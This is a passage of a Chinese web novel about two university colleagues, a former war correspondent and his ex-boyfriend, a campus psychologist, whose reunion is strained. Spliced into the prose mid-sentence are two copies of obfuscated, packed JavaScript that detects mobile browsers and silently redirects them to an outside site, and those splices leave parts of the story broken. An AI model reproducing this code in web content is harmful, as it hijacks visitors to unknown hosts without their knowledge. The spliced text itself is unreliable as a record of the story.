曝露在广阔天地间,他无所遁形。恐惧抓住了他,让他甚至无法从噩梦中惊醒。 一双手温柔地笼罩在他的耳侧,用温热的体温包裹他,挡住了那些枝条紧逼他时发出的猎猎破空之响。 李和铮跌入了更深的黑暗中,睡熟了。 对外界浑然不知,完美获得一夜好眠的李老师被闹钟闹醒后,越发不要脸,挂空挡升旗,随便用浴袍裹着挡挡,也不说张罗着避人。 好在还躺着没起来的骆大夫比他更是体面人,这距离下没戴眼镜看得更清楚的视线只往他脸上去,嗓音沙哑:“昨晚就应该按着你吹头发,现在成鸟窝了,得收拾一会儿,你又不耐烦。” “收拾呗,死不了人。”李和铮进卫生间前有些奇怪地回身看竟然在赖床的骆弥生,在他脸上看到了很明显的黑眼圈,“你没睡好?” “还好,”骆弥生低声说,“没事,你先去吧,我不敢戴眼镜了。” 李和铮笑了两声,声音从卫生间里传出:“又不是没见过。再说你不是远视眼吗?” 骆弥生定了会儿,叹了口气。还行,说的不是“又不是没用过”。 —————— 三天的学术论坛李和铮意料之内的只坚持了不到一天半,第二天上午他和骆弥生磨蹭到了十点多才抵达会场,待了一会儿就又去抢先开饭。 下午的主题演讲更是让人坐不住。那稿子明明是更了解国内职场这一套的骆弥生亲手润了两次的,教研室也已经审过的。 谁知道,他原封不动地演讲完,下场歇了没十分钟,被找过来的现场导演告知:“老师您的话题太敏感了,我们已经同步了所有的媒体,这一段素材不用不发不留档,您需要自己保留吗,我给您导一份?” 当即他便有点上头。之前折折腾腾的准备功夫白费是小事,有没有他的报道他更不在乎,但是……捂嘴竟然捂到他嘴上了。何况他说什么了,不就是探讨了战争背后人性多面的拉锯吗,连任何Z体相关的映射都没提,就敏感了? 李和铮用一份成年人该有的体面压住情绪,颔首礼貌答复删了吧删干净,起身便走。 他走了,现场导演懵了,一旁目睹了一切骆弥生上前低声和导演解释,解释完了又出去追人。 李和铮还是靠着正门的那柱子抽烟,一共没够两天这柱子都快被他擦亮了,在他面前不遮掩不耐烦:“走不走?你不走我先回了。” 骆弥生只能点头:“走,我去打声招呼,你在这等我。” 回去的路上李和铮主动要求开车,骆弥生便懂了,只能看着他先一路开回了万柳的租处,并留下一句“这两天我会很忙,要补调的课,五一还得留个算平时分的作业。” 骆弥生只能再次点头:“好,我也堆了很多咨询排期,忙吧。” 不论是作为心理医生,还是作为他的旧情人,骆弥生都十分清楚。强行的剖白是慢慢治愈他的必经之路,而他的心门坚固不可摧,每次进攻,看似有所收获,实则都会换来加倍的修复、加固。 他前面追紧了,仍不得章法,只得再次向后退半步,空一些空间给他。 而在与旧情人的无聊游戏中得到了暂时性休息的李和铮确实忙翻了天,批作业批得浑身上下四处冒烟,五一放假前的中午,许久没露面的苏启然拖着疲惫的赵晋出现在他的教研室门口。 李和铮仿佛看见了救星,立刻起身,瘸向他们。 结果,不是出去约饭,只是约着一起吃食堂。 ……食堂也行,不挑。 谁知道一坐下,苏启然就开始骂:“这个B网我是一天都上不了了,那句话是真的,你真的永远不知道你在和什么人一起上网。” “咋了?”李和铮看他好笑。 “他这几天一直在你的短视频底下学饭圈控评呢,”赵晋说起这个也觉得好笑,“你之前那个会谈不是说得挺嚣张吗,切条发得铺天盖地,热度很高,除了被你圈粉的,也有好多网友一直在攻击你。” “还攻击上我了。”李和铮笑出声,“我演讲被捂了我还没生气呢,他们气什么?” “大哥你是一点都不关心啊!”苏启然小声嚷嚷,“他们说你装逼说你傲慢说你用身份当跳梁小丑,你说的每句话都被分析,还说你那么说的本质是看不起国内的教育……哦,连你那天的衣服都被扒了,十几万,说你还是太捞了。哎给我气的,我兄弟那是拿命换的……” “这有什么呢。”李和铮不明所以,心想那衣服大概是用美色换的,抬头看他,“网友们认知不同而已,还用你这么记挂着。我都习惯了。” “你习惯啥。”苏启然没跟上思路,“被网友们骂?” “是啊。”李和铮满脸理所当然,“我也不是第一天爱说这种话。我这种行事作风,肯定经常挨骂。挺逗,我以前有个人专栏来着,一有人和我辩,我就来劲。和人家杠多了,我编辑说我太影响社里形象了,给我把个人专栏关了,稿子只能发版块。” 赵晋笑个不停:“苏老师,你白心疼他了,他压根儿不在乎。” “现在人平时屎吃多了总是会产生幻觉,”苏启然依然愤愤不平,好端端的大放厥词,“别人说什么他都一概听不懂,只能按照自己的臆想判断,还信以为真,以为众人皆醉他独醒。” “你能不能别在吃咖喱饭的时候说什么吃屎?”赵晋嫌弃得快飞走了。 “我是一个物理老师,我吃到的物质是咖喱,就不可能是屎。”苏启然铲起满满一勺子咖喱,要喂给赵晋,“来赵老师,您尝尝这是什么味儿。” 赵晋忙不迭地躲开他:“yue——” 李和铮看着他俩闹腾得幼稚,也笑,垂下眼,感受到久违的轻松。 退休生活就应该这样过。如果下午不需要继续上课就更好了。 微信里,除了早晚的招呼,也没有多余的消息。 果然,剥去不必要的部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679442|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,彼此都松快。 —————— 五一假期的第一个晚上,结束值班的骆弥生和林阳约到了三里屯的某家露天清吧。 他两人一直保持着稳定的约饭频率,林阳准备要份简餐,骆弥生只要了酒。 林阳专注在菜单里,骆弥生无意识地划拉手机。 除了工作群里一些不用回复的通知,没有消息。他不会找他。 “还以为你忙着和你家李老师甜蜜蜜,顾不上找我呢。”林阳点完单开始笑嘻嘻地跑火车,“我约么着下次见面是你生日会了,突然被招幸,倍感荣幸。” “不会,没甜蜜蜜。” “怎么说。”林阳痴呆地看他脸色很差,收敛了,小心翼翼地试图转走话题,“又说你今年生日会姐姐给订哪儿了?到时候和哥去不?” “我没问她订哪里了。他也不一定会去。”骆弥生礼貌对服务生点头致谢。 “啊,为什么?” 骆弥生端起酒杯,一口气喝了小半杯:“因为没追上,之前聊得有点深了,有些适得其反。所以做其他事全凭他的心情。” “那你怎么还没追上?”林阳好奇,“我以为你们俩互动挺好,结果连生日会都拿不准他会不会来。” 骆弥生沉默良久,又喝了大半杯,摇摇头:“我不知道。” 林阳顿时恨铁不成钢地瞪他:“大哥你要过的是三十岁生日,不是十三岁,让你追人都不会追?” 骆弥生摇晃着杯底中仅剩的酒,垂眼看着碰撞在杯壁的液体:“因为我了解他。本质上他是一个吃软不吃硬的人。不论当年我们是什么境况,至少分手这两个字是从我这儿出去的,所以现在我没有立场做更多争取,只能选他安全范围里能接受的方式。现在他已经在反感了,强硬他会更反感。” “那你这不是知道怎么追吗?”林阳继续瞪他。 骆弥生把杯中的酒喝完,平淡得像是在剖析别人的事:“我怎么做都不会产生效果。三年前那次……现在他没有强硬拒绝我,是因为他觉得没必要。没必要意味着我可有可无,无论有我没我都无所谓,所以也不需要大张旗鼓地正式拒绝我,随便我怎么做。” 林阳震惊:“什么三年前?” 骆弥生转头看着路上的人来人往,没有回答他:“他现在独惯了,和以前更不一样。我自己复盘过,其实他刚回来我们开始接触时,他对我还没有这么强烈的拒绝,是在我道歉后才这样的。” “怎么道歉了反而还不行了,”林阳持续震惊,“我怎么听不懂?” 骆弥生轻轻叹口气,平静叙述:“他会认为这种道歉是对过去的否定,既然否定了,更没聊的必要。我说出口后悔,但是没有用,后面好多次再想说,他都没再给我开口的机会。” “而且,他前面想听,只是因为他无聊,碰上我了,拿旧事消遣。后面不想听了,是因为发现消遣都没意思。” “……不是老梅,你说你都懂完了你还追什么。”作为学生时代这段感情的顺路人,林阳有点难受。 “你俩这个思路我有点跟不上,但要我说你们两个就是都太清醒,脑子太好的人搞在一起只能是这种下场,人家糊涂夫妻能过一辈子。现在……反正你也追不住,当断则断完了。” 骆弥生又摇摇头。 在过去和未来缠织在一起混乱不清时,他们已经当断则断一次了。自那后,在人生黄金上升期中所有辛酸苦楚独自吞咽,两人都如此,他更明白,才更受困于此。 只是总觉得他还漏下了点什么。 是什么? 他给自己点了支大彩。现在这烟已经很不好买了,李和铮那天随口问他怎么搞了这么多,而后话岔开了,他没告诉他,从他们分开后,他也只抽这一种烟。 等这支烟快燃尽,骆弥生才再次开口:“他现在状态挺差的。比起他心里还有没有我,更重要的是,找到他的心,让他好起来。” 林阳冲他抱拳:“这大夫您当得,我不配。” 骆弥生冲他哼笑,起身先走了。 四十分钟后,保持着退休老人作息在九点多提前入睡的李和铮,在尚未睡踏实的半梦半醒间,听到了自家密码锁被滴滴按响的声音。 被吵醒的李和铮:…… 哦,忘了通知骆大夫。 密码,换了。 24. 鱼肝油 输错数字的密码锁发出滴滴的警报提醒,在此情此景下,显得有几分滑稽,像是给安静的晚上增加了一组下滑音音效。 李和铮没拉窗帘,楼距不远,对面楼上的万家灯火给予他卧室里昏暗的光线。他睁开眼,望着天花板,顶灯灯罩里灯丝的余热都已熄灭——他确实已经强行让自己入睡有一阵儿了。 既然睡下了,也没必要专门起身去给骆弥生开门。今天不是工作日,作为同事的骆老师也没有留宿的需求。 他等了等,没能直接进来的人没有敲门,整个空间静悄悄的。 李和铮重新闭上眼,而后,放在床头柜上的手机震动响铃,是电话。 他没睁眼,伸长胳膊摸到它,在屏幕上盲滑,接起来,从鼻子里挤出一声应答:“嗯。” “已经睡下了?”骆弥生的声音分别从听筒里和遥远的门外传来,在夜里既清晰又模糊。 他没问为什么把密码换了,也没问新密码是什么。 “是啊。”李和铮话都懒得说,“我现在老了,没精力熬夜。” “好。你现在睡眠不好,我给你买了两瓶鱼油。那我带到学校再给你。”骆弥生这样说着,也没要求开门。 “你自己吃。”李和铮发自内心地,“没必要都惦记着塞给我。” “我去了放你办公桌上,放在你能看见的地方,你就不会忘了吃……”他说到这儿,一声轻笑。 李和铮睁了眼:“笑什么?” “没事,”骆弥生又笑了笑,中低频的震动隔着电流,抚过他的耳廓,“只是想到你就算天天能看见,也不会记得拿起它吃,有点想笑。” 李和铮沉默。 他听得出这话里的意思,也听得出骆弥生语气中萧索的自嘲。 片刻,他问:“你喝酒了?” “嗯,一点点。” ……怪不得。 李和铮刚撑起一条胳膊,耳朵里骆弥生继续说:“那我先回去了,你睡吧,我再叫个代驾……晚安,阿和。” 李和铮便卸了力,又倒回去:“行,那你路上看着点。” “好。”电话挂了。 李和铮把手机扔回床头柜上,拉起被子翻了个身,把自己更深地压在枕头里,重新寻找睡意。 迷蒙间,不知怎的,有一些模糊的画面不自觉地浮现在脑海。 他和骆弥生的第一次吵架发生在超过十年前,按理说那些画面都该是消失在忆海里了。 两人都是理性思考的人,习惯直线沟通有话直说。所以,即使都没有恋爱经验,即使都年轻气盛,正都是说话容易不过脑子的年纪,别的情侣可能会有的误会、闹别扭、矫情地猜彼此的心思,他们都没有。 他们做事永远有商有量,或者说——骆弥生知道他的脾气,明白他是个犟种,在很多时候都选择退让,尊重,顺从。他两人间,他是话事人。 年轻时的他锋芒毕露,说是傲慢不为过。明明置身顶级学术殿堂,出类拔萃者如过江之鲫,依然觉得周身都是乌合之众。仿佛旁人都是埋头苦干只为谋生,或是寒窗苦读只为镀金,触不及半分有关“理想”二字的事。 可说他是狂妄,又让人讨厌不起来,因为他有狂妄的资本,同龄的新闻生还在学触角的时候他已经在供稿写报道,校招一举考入官媒大社,别人还在找实习,他在上前往战地驻站前的培训。 当然,所谓理想早已被击碎,这傲慢也在往后十年间被消磨殆尽。 而年轻时的骆弥生,同样要比现在的这个很讨学生喜欢的骆老师傲气得多。白大褂一穿谁都不理,眼神结着薄冰,唯独对着他时眉眼柔软,收锋敛芒,称得上是乖顺。 甚至在同居前,本部到医学部之间的那四公里的距离,多是他来跑,有时候李和铮下了晚课都能看见他等在楼下,无奈地问他“我是没脚吗”,他只笑。 在这样的关系模式里,李和铮记不起他们第一次是因为什么吵架了。大抵是无足轻重的事,骆弥生难得强硬一次,而他吃软不吃硬,即使是男友也硬刚上去,转身便走。 走了两步,骆弥生从背后抓住了他的胳膊,低声道歉,在得不到他回应时,自嘲地笑了笑。 那是……春日。他回头,春日的图景在他眼前徐徐展开。他那天应该还是穿着卫衣,袖子长,被他撸到了手肘,所以微凉的掌心直接贴在他的皮肤。 年少时的骆弥生站在树影斑驳处,穿着淡蓝色的polo衫,不戴眼镜的眼睛线条柔和,神情专注。 一如方才。 艹。 睡意不来,还送来多余的画面。李和铮翻身爬起,烦躁地抄起床头柜上的烟盒,往小阳台上去。 当初选这个房子就是看上了这个阳台,开放式的大窗,还能趴在边上抽烟。 猩红的火光明灭,夜风有了夏日的味道。十几公里外的内城正人声鼎沸,还不到游客们休息的时候;小区主干道上,有人在散步,有人在归家。 李和铮前半生生长在宽松的环境中,相应的,他没有一个具象化的“家”的定义,如果他的日常是纪录片,那很少有“三口之家围坐餐桌”的镜头;在万里外,遑论这个定义,相应的,他也没有什么落叶归根的情怀。 他是游子。少时做父母各自人生中的过客,青年把自己的人生托付给吹遍世界各地的风,处处都是暂栖之所,想来,唯一能让他明确定义为“家”的,竟然只是他和骆弥生一起租的那个房子。 那房子还没这个大呢。 可问题在于。 李和铮扪心自问。 问题在于,他真的不向往有个“家”。他从“那里头”搬出来了,到底有什么理由让他搬进去,他找不到。 后半生……这个年龄谈及后半生为时过早,可如果他只有六十年寿命,现在实属人到中年。何况人这生物,脆弱得很,随时随地会因为这样那样的原因得到那个被命名为“死”的结果。 在这个既定结果到来之前,把重复的路再走一遍,意义何在?每周一模一样的课讲五遍他都烦得想上吊。 那么又为什么要因为把骆弥生关外头了感到心烦呢。这不是提前决定好的吗。 李和铮追求快刀斩乱麻,从未对当前生命进程中下过的决定产生过怀疑,也从不对自己说谎。他依然肯定,与骆弥生的关系进一步肯定不对。 这下好了,好像显得进退都不对了。 才不到仨月。你可真是骆大夫煮出来的好青蛙。李和铮对自己冷笑,颇没素质地在阳台边上按灭烟头,手指一捻,烟头竟然飞了下去。 李和铮:?! 他受不了地探头朝下看。 十三层的高度刚好还够他看见,正对着单元门口的停车位上,那辆方方正正的G在夜色中像口漆黑的棺材,里头装着他们早该埋葬的过去,穿着白衬衫的骆弥生是一个小白点,靠在棺材头上,有一丁点红光闪烁。 李和铮:…… 他抬手看表,十一点多了,还在他楼下吹风抽烟。 随便吧。还是那句话,各自为自己的行为负责。李和铮转头回了卧室。 物极必反,烦到深处……自然困。 —————— 假期里人多得能堆山,正好光明正大地当几天死宅。本来不打算出门了,好容易赶上最后一天老爹老娘齐聚,向他发出召唤,李和铮回到了东城的老房子里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679443|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他老娘艾瑞娅还没到六十,一半的白人血统让她的花期略短,但胜在医美技术发达她又很乐意往脸上招呼,以至于猛一眼看过去,以为孩子还在上小学。 小学毕业多年的李和铮得到了妈妈的贴脸亲亲,李和铮试图给妈妈来一个抱起来的转转,刚准备使力,被她喊了stop。 “回来后一直没去复查过?”艾瑞娅蹲下身,摸了摸儿子的膝盖,“我怎么看你走路更严重了。” “懒得去,没事,不打紧。”李和铮坐自家沙发上不好意思把脚翘上茶几,只能伸直。 李连东从厨房出来:“回来了。” 这老头子蹲故宫里修了一辈子文物,早成地中海了,还不染头发。他穿的深蓝色的居家服像是上世纪的确良衬衫,老花镜挂脖子上,做饭还带袖套。 这造型,往提前入夏穿上吊带裙的艾瑞娅旁边一站,别说不是一个世界了,根本不是一个世纪的。 爹娘如此亮相,李和铮没忍住,喷笑出声,哈哈大笑着捂住眼睛。 被他笑得莫名其妙的便宜夫妻对视一眼,都摇摇头,煮夫回厨房了。 “干什么这么高兴。”艾瑞娅也笑,坐他旁边。 “没事,”李和铮几乎笑出眼泪,“我想起高兴的事情。” “你老婆生孩子了?” 李和铮:? 不是吧这烂梗都能callback! “你还知道这个呢。”李和铮这回聪明了,没接话。 但架不住艾瑞娅下一句就提到了:“我当然看过这个,我比你在国内的时间多好吗?昨天小唐过来了,说之前看到你和may在一起。” 想刀唐未徊的心第一百次到达顶峰。 “他最近挺八卦的。”李和铮兴趣缺缺。 “他工作室里去了个小孩儿,”李连东替大徒弟解释,“带着他玩儿。” 李和铮简直无法想象“唐未徊被一个小孩儿带着玩儿”是什么东西,根本不想多问,只是看着艾瑞娅:“我还不能有几个正常同事了?” “Hey babe,你知道,我们通常不把old flames当成 normal colleagues.” “说人话。”李和铮无奈。 “就是说你什么时候准备和他复合。”艾瑞娅冲他扑闪着灰蓝色的眼睛。 “……我为什么要和他复合,你还不如问我什么时候辞职。”李和铮摊手。 “你也老大不小了,你爸爸在你这个年纪都生你了。”艾瑞娅也摊手。 “这都什么跟什么?”李和铮又被荒谬到了,“谁生?” “不重要,为了生你他也出了一些力。” 李和铮哭笑不得,指着自己:“行别管谁生,是不是父母年纪到了天生就会催婚。连我这种你也打起主意了,况且我就算和他复合,也没人能生孩子。” “那是玩笑话,我们又不是要你传宗接代。”李连东从厨房里探出头,“想到你现在回来了定下来了,工作也安生了,该想想生活上的事,别光工作。” 李和铮又笑了,什么啊,老头子干了一辈子的活儿,竟然劝自己儿子别光工作。 李连东还说着:“小骆挺好的,毕竟知根知底,他也还有意思,你们……” 新闻工作者敏锐地听出不对,审视地看过去:“打住,你怎么知道他还有意思?” 李连东还没说话,下一秒,门铃响了。 艾瑞娅的连衣裙下摆飘飘,像只欢快的花蝴蝶,飞到门口。 打开门,露出一个提了满手礼盒的骆弥生,身姿挺拔,面露礼貌微笑:“阿姨,我来了。” 李和铮:……? 25. 你懂吗 眼看着骆弥生女婿上门似的提着一大堆礼盒登堂入室,李和铮失语了。 他们对视,骆弥生面不改色,冲他点头:“阿和。” 李和铮坐在沙发上没动,盯着他,看他自然地换掉皮鞋踩进艾瑞娅给他踢过去的拖鞋里。 他把左手的递给李连东,低声介绍这是正官庄的野山参、三江源的冬虫夏草、启功的书法真迹;把右手的递给艾瑞娅,低声介绍这是爱马仕的小马包挂、谢瑞麟的钻石手链、湖田窑的青花釉里红茶具。 他太用心了。用心到让人不敢苛责。 李连东拿了满手连连说着“来就来吧还带什么东西”,艾瑞娅高兴得露出洋派表达热情洋溢地把骆弥生夸成花,抱上去也来了个贴脸亲亲。 便宜爹娘和前男友在自家客厅里上演一出上门女婿旧人新见父慈子孝……什么乱七八糟的。高校教师前男友像直播带货一样念完所有礼品。 李和铮终于气笑了,起身走向他们。 不敢苛责吗? “我的呢?”他说反话,问得咬牙切齿。 骆弥生镇定自若:“你有鱼油。” “就这?” “想要什么都有。” “想要你出去。”李和铮冲他抬起送客的手,眼神冷漠。 骆弥生怔了一瞬,旋即干脆点头:“好。” 他转身回到门口去换鞋。 李连东懵了,自家儿子快淡出仙气了竟然会冲人,况且这还当着父母的面,这样直言,这得多生气。 艾瑞娅急了,连忙要去抓骆弥生的胳膊,又回头看李和铮,看到儿子脸上的冷肃,伸出去的手拐了弯,抓回自己的胳膊上,不知道该咋办了。 骆弥生把刚换了没几分钟的鞋换回去,得体地转身道别:“那叔叔阿姨我先走了,下次再见。阿和再见。” “哎……”艾瑞娅没哎出个情由,看着骆弥生像闪现过来送了趟快递,留下满地东西,人走了。 门被轻轻合上,关起一室沉默。 一对不那么相配但很和谐的夫妻面面相觑,不知道该怎么面对自家儿子,尤其是在他刚刚对着曾经非常相配现在非常不和谐的前男友下了不留情的逐客令后。 艾瑞娅小心翼翼地看向面无表情的李和铮,生怕他摔了门走人:“是不是怪爸爸妈妈没提前跟你说?” “没有。能理解。你们是好心,他也是好心——”李和铮压住了情绪,这两天他自问自己已经快变回年轻时易燃易爆炸的状态了,是骆弥生搅动了他心头的死水……以这种并非老鹿乱撞的方式。 “——但我现在不需要这种好心。”李和铮耸耸肩,一瘸一拐地主动进了厨房,“准备吃饭吧,我去端。” 李连东忙跟进去。 假期尾声预想中的四人餐变成了“三口之家围坐餐桌”,对儿子的成长给予最大限度自由、或者说,专注个人到对孩子有点“不负责任”的父母,刚惹了孩子生气,根本说不出说教的话。 本来准备了一些推波助澜的话题也落空了,现在只能闷头吃,有些不知说什么好。 李和铮已经恢复了常态,懒洋洋地夹菜,主动起了话头:“他之前来找过你们了?我们本来处挺好的,我没撂过脸,今天真是忍不住了。” “嗯……哪种挺好的?” “Normal colleague.” “那对不起啊,爸爸妈妈都自作多情了。”艾瑞娅心虚地给儿子夹菜。 “但你刚才不应该直接……”李连东插话。 “我好说歹说让他别再搞我了,不能光好说,也得歹说吧?”李和铮平淡地扫他一眼。 “但我们都在,小骆得多不舒服了。” “我也不舒服。”李和铮说出口后自己都愣了,而后,他放下了碗筷,轻轻摇摇头,叹口气,“就是因为我也不舒服,所以我才想舒服舒服,妈,爸,你们懂吗?” 他们有什么不懂的。 三人互相看看,做父母的点点头,张罗着举起饮料碰杯,把这话题掀了过去。 —————— 复工第一天,李和铮踩点到办公室,毫不意外地看到办公桌上放着两瓶鱼油。 他跟没看见一样,一屁股坐上椅子,打开电脑批作业,等着开例会。 微信刚挂上去,早上骆弥生发来的早安、提醒吃早饭、提醒关阳台窗户等等事无巨细到生怕他生活不能自理的消息都未读,这会儿又进来一条,鱼油的吃法。 李和铮目不斜视,继续批作业。 他做了决定的事,一旦开始,便不会回头。 而这确实也是一段开始。 骆弥生开始了他退出他的视线范围外、改往他这谭死水里扔漂流瓶的计划。 有时候早上进办公室桌子上出现三明治,有时候下课后回办公室桌子上出现养生茶,鱼油上被放了一张便签纸,骆大夫的处方字:记得吃。 到了五月中旬,骆弥生投来的漂流瓶堆到了99加。 这行为,简直像初中生追人。李和铮刚从学生那里学来个新词儿:阴湿男鬼。 把这四个字贴到骆弥生那张高岭之花的脸上,怎么看都不合适。 所以说旧情人靠近彼此没有好结果,爱情可以美好也可以虚无缥缈,但执念深重会让人束手束脚。 李和铮好歹也是品尝过何为“挚爱”的,像热爱写深度稿件一样地爱过骆弥生。他知道写什么稿子怎么写最好,也知道骆弥生该是什么样子才是他。 反正不是这样。 太刺挠了。他可以不接受,但他客观地也不想看到骆弥生这样做。 但他明白,时间会冲刷一切,刺挠而已,挠挠得了。他的退休生活马上被他拽回正轨。 可在时间生效前,他得找点别的事做。 李和铮蓦地想起白逐雪的话:给她送两个能用的学生过去。 那时候他说没精力,现在有了。 李和铮摸着下巴琢磨,让他自己去抓人像是地推销售,做不来这种事。 于是他打开了论坛。 一点进去,飘在最上头的第一贴:《老李最近是不是和骆老师吵架了呜呜呜我产品没饭吃了》 ……啊? 他没兴趣点开,想起来苏启然和秦舟都叨叨过这个。 他去给自己改了个马甲:教新闻的老李。 灌水区《收两个徒弟》 楼主:不限专业,本专业最好,其他专业也行,会写文章,有观点,别AI。要高年级或毕业班绩点高点会考试能参加校招考试的,我原来的编辑要人,可别我带了你半天你考不进去,彼此浪费感情 人在教研室,发范文贴楼里,我回复到的过来找我 发送。 坐等十分钟。 刷新。 ……1427层楼? 李和铮两眼一黑。完了,天杀的白逐雪,天杀的自己。想找点事做也不能是没事儿找事儿啊! 自作自受,忍着吧。 傍晚,老师们都下班了,李和铮终于过完了帖子里所有的范文,多番对比,选到了两个笔触极有灵气的。 把过来撒泼打滚儿一哭二闹三上吊的秦舟赶走,他喝着茶,等待着开第一个徒弟盲盒。 ……进来一个面黄肌瘦目光泛着死气的女生。 李和铮一挑眉:“同学?” “李老师。”女生面色平静,走到他的办公桌前,“我是您回复的第一个,我叫郑珺雅,计算机系研二。” 李和铮不动声色地扫过她长袖衫领口上凸起的锁骨和牛仔裤空荡的裤管,想起许多难民孩子。 他没说什么,只露出个微笑:“请坐,先聊聊。” —————— 有人欢喜有人愁。 白逐雪是乐坏了,那么代价是什么呢.jpg 开始带徒弟的老李彻底过上了退不了休的生活,积攒了许多怨气。 而这种怨气在520当天、睁眼看到支付宝里多了来自骆弥生的52000转账后,彻底爆发。 李和铮诈尸般直挺挺地翻身起来,握着手机定住。 他感觉自己快坐化了,才点进全是未读消息的对话框里,郑重其事地打字,接连发问: —骆弥生,你是准备当我的舔狗吗? —赶明天我泡弟弟了你是不还要过来给我送套? —你真的有必要做到这个程度吗? —你想让我怎么办? 骆弥生: —…… —不是这个意思 —我还是保持我的观点,我有我的想法,我在按我的来 李和铮: —请问我的意思表达得还不够明显吗? —还要多明显? 骆弥生: —我明白 —但我的意思也很明显 李和铮: —…… —我这么说吧,大哥 —如果我和你再谈一次恋爱能让你放下这种不必要的执念,那我们现在就开始 骆弥生: —然后呢 什么然后? 骆弥生: —再让我放你走吗 哦,问这个。 李和铮: —难道你现在依然相信我还能跟你过一辈子 —别逗了,大夫,我和谁都过不了一辈子了 在“对方正在输入……”的功夫,李和铮想了想,决定把此刻最真实的感受和盘托出: —不要再这样做了,我俩都不是这样的人 —我一直拒绝你,显得我傲娇似的,可我是真不想谈 —骆大夫,你有你的骄傲,我不想一直用这种方式践踏它,我很遭罪,我想到我还得拒绝你,我也很难受,你懂吗 —所以,放过彼此,饶了我,成吗? “对方正在输入……”停了。 过了会儿,骆弥生没说别的,只说:周末好好休息 李和铮:…… 老白,如果我为了躲旧情人让你把我空投去加沙,你会高兴吗? —————— 入夏的热浪滚滚,在今年的气温第一次到达三十度时,苏启然热烈宣布他脱单了!宋妍老师竟然真能看上他,真是人美心善仙女下凡! 小学生作文会写夏日朝气蓬勃,夏日欣欣向荣……只有李老师一个人觉得自己在过多事之秋。 人类的悲欢并不相通,苏启然乐呵地要请大家一起吃他的脱单饭,群里霍琪说,喜事呀,正好骆老师的生日party今年也没开,大家好久没聚了。 李和铮怔住,生日……电光火石间,他才想起:5月5日,叫may的人的公历生日,整三十岁,提着大包小包进了他家,被他凶走了。 …… 为什么这么难办。 爱的背后不是恨,而是不在意。 因为不在意,所以可以平淡相处。现在无法自处了,是因为什么? 因为无法回应旧情人送来的情意,所以愧疚?他是挺喜欢投桃报李的,但他又不是圣人。 那么是什么。答案总不能是他对骆弥生余情未了吧。 ……不是的。他是惯常主动出击亲手争取一手掌控的人。如果他余情未了,哪怕是他被甩了,他也不在乎什么“面子”,他会主动争取。 真他妈的烦透了。 李和铮点开了骆弥生的对话框:不好意思啊,骆大夫,我忘了你的生日 —[转账]52000 —生日礼物,补上 骆弥生: —人们通常不为忘了前男友的生日道歉 —通常也不给前男友转这个数字 等了会儿,他不收,也不点退还,就这么摆着。 李和铮拿他没办法,打开支付宝,终于找到了把他转过来的钱转回去的机会。 骆弥生:没必要 现在轮到你说没必要了,李和铮哼笑两声,没再说。 点开苏启然的私聊:哥们儿恭喜你,但对不住聚会我不去了,咱们私下来,我单请你和宋老师 苏启然发了两个狗头,甩来一张截图。 是骆弥生在五分钟前,和他说了基本一样的话。 苏启然: —你看看,这多不好意思,一不小心又给哥们儿懂到了 —你俩躲对方啊?一人多搭一顿饭 —哎哟喂~还不如一起吃呢~~~#狗头#狗头 吃着瓜就乐,真是贱出花儿了,李和铮苦笑。 行,他和骆弥生彻底变味儿了。 两个人都放不下是藕断丝连,两个人都放得下是海阔天空。一个人放不下,另一个人明明放下了又用因为各种各样无法归纳总结的缘由刺挠,算什么? 也许不是事事都需要答案。 放弃思考的李老师投身入更高强度的教学工作中,快到期末周了,一周上五节课的水课老师也得参与各类会议,要出题要报审要填什么乱七八糟的预申请。 还要带徒弟。哇。绝望。 而骆弥生那边也不闲着,临近期末周压力大的不光是老师,压力更大的是学生。 他被科室安排了三场心理健康讲座,心理咨询从早上排到晚上,忙碌时人容易生病,校医院里头疼脑热来输液的也络绎不绝。他只能上课、咨询、看诊,交替进行。 重压之下,人都容易变形。 骆弥生刚听一个女生的哭诉,理由竟然是,她男朋友被选为李和铮老师的徒弟了,而她还在因为期末要挂科写不出论文找不到暑假实习而烦恼。 最近男朋友的空闲时间也少了,打了鸡血,跟着李老师向前冲,虽然她也没想把自己的压力寄托给对方,可谈恋爱不就谈一个互相陪伴吗? 另一方面,一下子两个人好像去了两个世界了,感觉自己配不上他,想分手,舍不得。 从医多年的骆大夫被噎住,极高的职业素养下依然顿了好几秒,才开始聊。 关于压力排解,关于线性人生观,关于配得感,关于自我价值肯定。 结束咨询的女生肉眼可见的振作了许多,红肿着眼睛说谢谢骆老师,其实,是因为有您存在,我们很多人才敢来做心理咨询。 ——毕竟大家都知道,如果谁心理问题严重,会被劝休学,甚至劝退的,对吧。但您一直会保护我们的隐私,真的万幸有您。 获得极高赞誉的骆老师还没能说出回应,女生已经脚步轻快地离开了。 骆弥生机械式地在预约系统里填了咨询回执,检查了今日是否还有遗漏、修改的排期,在个人工作日志里简写小结,上传,退出登录。 一口自胸中生发的浊气才呼了出去。 他自嘲地笑了笑。 他想着,你觉得你配不上的是李和铮老师的新徒弟,那我呢。 我是什么。 拿起手机,给李和铮投送漂流瓶:最近天热了,注意别喝冰水。 接到瓶子的死水正在今天的最后一堂课上,距离下课还有半小时。 说实在的李和铮一直很有水课老师的自觉,除了批作业严一点,上课从来不管学生们是否认真听讲、在干嘛,自己讲自己的。 虽然在他走红校园里后有很多人慕名来蹭选修课,基本上也没什么人玩儿手机。 但没办法,从前来去如风惯了的李老师被社畜 